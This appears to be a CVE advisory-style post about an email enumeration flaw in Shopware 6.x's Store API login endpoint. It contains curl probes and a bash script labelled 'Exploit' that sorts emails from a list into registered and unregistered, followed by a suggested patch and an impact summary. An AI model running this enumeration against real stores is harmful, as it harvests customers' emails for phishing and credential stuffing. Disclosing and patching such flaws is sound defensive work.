Listen to this Post
The vulnerability resides in the Store API login endpoint (POST /store-api/account/login). When a login attempt is made, the `AccountService::getCustomerByLogin()` method first calls getCustomerByEmail(). If the email is unknown, it throws a `CustomerNotFoundException` with error code `CHECKOUT__CUSTOMER_NOT_FOUND` and echoes the probed email in the response. If the email exists but the password is incorrect, a `BadCredentialsException` with code `CHECKOUT__CUSTOMER_AUTH_BAD_CREDENTIALS` is thrown. These two distinct error responses leak whether an email is registered. The storefront login controller properly catches both exceptions and returns a generic error, but the Store API does not, allowing an unauthenticated attacker to enumerate valid customer emails. Rate limiting is present but keyed by email and IP, which can be bypassed by rotating IPs and only requires one request per email. The `CHECKOUT__CUSTOMER_NOT_FOUND` response also reflects the email in the `detail` and `meta.parameters.email` fields, enabling targeted attacks. This inconsistency indicates an oversight in the API implementation.
dailycve form:
Platform: Shopware
Version: 6.x
Vulnerability: Email Enumeration
Severity: Medium
date: 2025-03-11
Prediction: Next release
What Undercode Say:
Analytics:
To test if a Shopware instance is vulnerable, use `curl` to compare responses for known and unknown emails.
Request with unknown email
curl -X POST https://target.com/store-api/account/login \
-H "Content-Type: application/json" \
-d '{"email": "[email protected]", "password": "wrong"}'
Response includes CHECKOUT__CUSTOMER_NOT_FOUND and echoes the email
Request with existing email but wrong password
curl -X POST https://target.com/store-api/account/login \
-H "Content-Type: application/json" \
-d '{"email": "[email protected]", "password": "wrong"}'
Response includes CHECKOUT__CUSTOMER_AUTH_BAD_CREDENTIALS without email
A vulnerable system returns different JSON structures. Attackers can automate this to harvest valid emails.
Exploit:
A simple bash script to enumerate emails from a list:
!/bin/bash
TARGET="https://target.com/store-api/account/login"
EMAIL_LIST="emails.txt"
while read email; do
response=$(curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d "{\"email\": \"$email\", \"password\": \"wrong\"}")
if echo "$response" | grep -q "CHECKOUT__CUSTOMER_NOT_FOUND"; then
echo "NOT REGISTERED: $email"
elif echo "$response" | grep -q "CHECKOUT__CUSTOMER_AUTH_BAD_CREDENTIALS"; then
echo "REGISTERED: $email"
fi
done < "$EMAIL_LIST"
This leverages the distinct error codes to filter valid accounts.
Protection from this CVE:
Apply the same fix used in the storefront controller by catching both exceptions in `LoginRoute.php` and throwing a unified BadCredentialsException. Example patch:
// src/Core/Checkout/Customer/SalesChannel/LoginRoute.php
public function login(RequestDataBag $data, SalesChannelContext $context): ContextTokenResponse
{
// ... rate limiting code ...
try {
$token = $this->accountService->loginByCredentials($email, (string) $data->get('password'), $context);
} catch (CustomerNotFoundException) {
throw CustomerException::badCredentials();
}
// ...
}
Alternatively, modify `AccountService::getCustomerByLogin()` to catch `CustomerNotFoundException` and rethrow BadCredentialsException. Also consider fixing the registration endpoint to prevent email uniqueness leakage.
Impact:
- Attackers can enumerate customer email addresses, enabling targeted phishing and credential stuffing.
- Confirmed emails can be used for social engineering or to infer sensitive associations (e.g., medical stores).
- The reflected email in error responses could be leveraged in reflected content attacks.
- Privacy violation by disclosing store membership.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

